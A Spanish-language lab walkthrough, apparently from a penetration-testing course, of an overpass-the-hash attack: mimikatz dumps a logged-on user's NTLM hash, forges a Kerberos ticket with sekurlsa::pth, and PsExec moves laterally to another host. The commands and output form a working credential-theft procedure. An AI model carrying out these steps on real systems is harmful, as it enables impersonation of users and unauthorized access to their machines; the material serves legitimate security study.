Con overpass the hash podemos abusar con un NTLM hash de un usuario para obtener un TGT de kerberos y luego podemos obtener un TGS, esto lo haremos para impersonar un usuario que se haya logueado en la maquina que hemos comprometido, y si están sus credenciales almacenadas, podemos realizar este ataque.

Ejecutamos mimikatz, realizamos privilege::debug y sekurlsa::logonpasswords, de manera que obtenemos el hash del user logueado

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session           : Interactive from 0
User Name         : jen
Domain            : CORP
Logon Server      : DC1
Logon Time        : 2/27/2023 7:43:20 AM
SID               : S-1-5-21-1987370270-658905905-1781884369-1124
        msv :
         [00000003] Primary
         * Username : jen
         * Domain   : CORP
         * NTLM     : 369def79d8372408bf6e93364cc93075
         * SHA1     : faf35992ad0df4fc418af543e5f4cb08210830d4
         * DPAPI    : ed6686fedb60840cd49b5286a7c08fa4
        tspkg :
        wdigest :
         * Username : jen
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : jen
         * Domain   : CORP.COM
         * Password : (null)
        ssp :
        credman :
...

Ahora que lo tenemos, con el módulo sekurlsa::pth nos crearemos un ticket en nombre de este usuario, en este caso “jen”.

mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell 
user    : jen
domain  : corp.com
program : powershell
impers. : no
NTLM    : 369def79d8372408bf6e93364cc93075
  |  PID  8716
  |  TID  8348
  |  LSA Process is now R/W
  |  LUID 0 ; 16534348 (00000000:00fc4b4c)
  \\_ msv1_0   - data copy @ 000001F3D5C69330 : OK !
  \\_ kerberos - data copy @ 000001F3D5D366C8
   \\_ des_cbc_md4       -> null
   \\_ des_cbc_md4       OK
   \\_ des_cbc_md4       OK
   \\_ des_cbc_md4       OK
   \\_ des_cbc_md4       OK
   \\_ des_cbc_md4       OK
   \\_ des_cbc_md4       OK
   \\_ *Password replace @ 000001F3D5C63B68 (32) -> null

Comprobamos con klist si disponemos del ticket ya cargado, pero antes debemos hacer alguna interacción a un recurso compartido para que se cargue, ejecutando net use \\\\<alguna máquina del dominio>

PS C:\\Windows\\system32> net use \\\\files04
The command completed successfully.

PS C:\\Windows\\system32> klist

Current LogonId is 0:0x17239e

Cached Tickets: (2)

#0>     Client: jen @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC1.corp.com

#1>     Client: jen @ CORP.COM
        Server: cifs/files04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC1.corp.com

Ahora que tenemos el ticket de jen cargado, con psexec, podemos movernos a otra maquina con el usuario que hemos impersonado

PS C:\\Windows\\system32> cd C:\\tools\\SysinternalsSuite\\
PS C:\\tools\\SysinternalsSuite> .\\PsExec.exe \\\\files04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\\Windows\\system32>whoami
corp\\jen

C:\\Windows\\system32>hostname
FILES04